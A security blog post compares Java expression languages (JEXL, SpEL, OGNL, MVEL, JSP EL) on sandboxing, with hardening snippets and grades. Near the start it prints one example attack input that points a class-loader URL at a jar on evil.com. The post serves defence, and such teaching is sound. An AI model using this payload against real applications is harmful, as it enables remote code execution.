Which Java Expression Languages should you use if you prioritize security?
Expression languages are at the root of several high-profile CVEs and are one of the most dangerous components you can integrate into an application. See this post by the incomparable Alvaro Muñoz if you want a taste of how deep the pain can go. Sort of the whole point of them is to execute arbitrary code, and it's easy to make a mistake with them that leads to a catastrophic outcome -- remote code execution.
We want to help people use them safely, so we did some research into sandboxing them to make exploitation harder. This led us down a rabbit hole of the different security features available in each of the major options.
Besides JEXL and Spring, the options for sandboxing or restricting get a lot harder and a lot less intuitive. There is a surprising lack of consideration for this control for these libraries' primary use cases. I am very appreciative of people who work on open source, and I don't think the root cause of this insecurity is incompetence or malice -- it just seems that security is genuinely not on their minds.
It's worth pointing out that many of them provide sandboxing against assignment or basic metadata-targeted attacks like we've seen in CVE-2010-1622 and CVE-2022-22965:
String userInput = "bean.class.classLoader.urls[0]=https:evil.com/x.jar";
evaluator.evaluate(userInput); // this could cause evil code to run
Without this protection, they couldn't be used at all -- so we're considering that type of protection to be table stakes. Let's look at them!
JEXL
The first one to investigate was Apache Commons' JEXL. Using JEXL without a sandbox is reported by CodeQL, and the fix is straightforward. So, if you have CodeQL running on your repo, and you don't use the JexlSandbox
, @pixeebot will now harden it for you with a change like this:
+ import io.github.pixee.security.UnwantedTypes;
...
String input = message.read();
+ JexlSandbox sandbox = new JexlSandbox(true);
+ for (String cls : UnwantedTypes.all()) {
+ sandbox.block(cls);
+ }
- JexlEngine jexl = new JexlBuilder().create();
+ JexlEngine jexl = new JexlBuilder().sandbox(sandbox).create();
JexlExpression expression = jexl.createExpression(input);
JexlContext context = new MapContext();
expression.evaluate(context);
This change will prevent JEXL from evaluating any properties or methods on some of the types commonly involved in exploits. This isn't complete protection on its own for all possible vulnerabilities, but it helps a lot. They have more fine-grained control by letting you write your own set of JexlPermission
instances to apply to your evaluation as well.
Allows Type Restriction | Allows Property/Method Restriction | Has Higher Level Use-Case APIs | Totally Scientific Grade |
Yes | Yes | No | A- |
Spring Expression Language (SpEL)
Spring offers the most configurability through a type called EvaluationContext
. It allows detailed control of expression evaluation by implementing your own type and method resolvers, assignment logic, and more. The CodeThreat team discusses this in some detail. It offers high-level controls too, that map to a particular use case. For instance, if you just want to allow read-only access to public
properties, you could create a context like this:
// create a context that can only be used for reading
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(str);
return exp.getValue(context);
Allows Type Restriction | Allows Property/Method Restriction | Has Higher Level Use-Case APIs | Totally Scientific Grade |
Yes | Yes | Yes | A+ |
We have some work ahead of us to decipher what would be the best way to help sandbox these evaluation contexts universally, but we know the tools in our toolbelt are many!
OGNL
Object Graph Notation Language (OGNL) has outsourced the security problem. They allow you to specify a SecurityManager
to use during evaluation:
-Dognl.sandbox=acme.sandbox.MySandbox
Well, the SecurityManager
was deprecated in Java 17 and maintainers have said "This ain't it chief". Turns out, a feature built to support applets running in your browser in the 1990's doesn't really answer the mail for modern, server-side threats.
Using a SecurityManager
here is asking the user to take on a lot of unfamiliar complexity when the primary thing they want to do is just disallow access to certain types or limit evaluation behaviors.
If my kitchen sink is leaking, I want to fix the pipe -- I don't want to have to learn about fluid dynamics. Unfortunately, that's the situation here. It is no surprise that Struts 2's widespread use of OGNL has caused it to suffer so many critical CVEs.
This StackOverflow thread has a nice discussion on using SecurityManager
in combination with instrumentation to provide more precise controls, including a nice proof-of-concept library. However, there's no denying that this is a dead end for usability, durability, and comprehensiveness.
Allows Type Restriction | Allows Property/Method Restriction | Has Higher Level Use-Case APIs | Totally Scientific Grade |
Not really | Not really | No | D |
MVEL
MVEL doesn't offer anything for sandboxing, besides natively limiting access to .class
in bean introspection. There are no further controls. You can look at their documentation and Control+F for terms like "security", and you won't turn up anything. The project is active, and users have even asked for sandboxing features without even so much as a reply =(.
Slightly scarier is that MVEL is a relatively popular project embedded into many other projects. Here's a page that describes how MVEL can be used in Apache Camel to operate on untrusted data 😬.
Again, not to be disparaging -- I believe that security is not even on the radar of a volunteer-supported project like this.
Allows Type Restriction | Allows Property/Method Restriction | Has Higher Level Use-Case APIs | Totally Scientific Grade |
No | No | No | Just No |
JSP EL, Commons EL 🪦
These projects don't have sandboxing and have all been laid to rest. If you used them, and an exploit against them was discovered, there'd be no alternative except a large refactor to switch to another library. This would be quite painful, especially in cases where your users would have to migrate their expressions. Of course, users controlling expressions is really dangerous, but it's a common use case.
Conclusion
The main point of this exercise was to document the best available options for choosing an expression language when security is an important concern. It seems difficult to suggest anything besides JEXL or Spring EL. These libraries offer enough tools for users to secure themselves, even in the face of hostile expressions.
It's also important to consider the "people and process" side of who produces your libraries. The Spring team has good security expertise and a track record of taking security issues seriously.
Of course, this isn't to say that JEXL doesn't have such expertise or care, but it's just harder to evaluate from the "outside" of the project looking in. We'd be comfortable recommending both!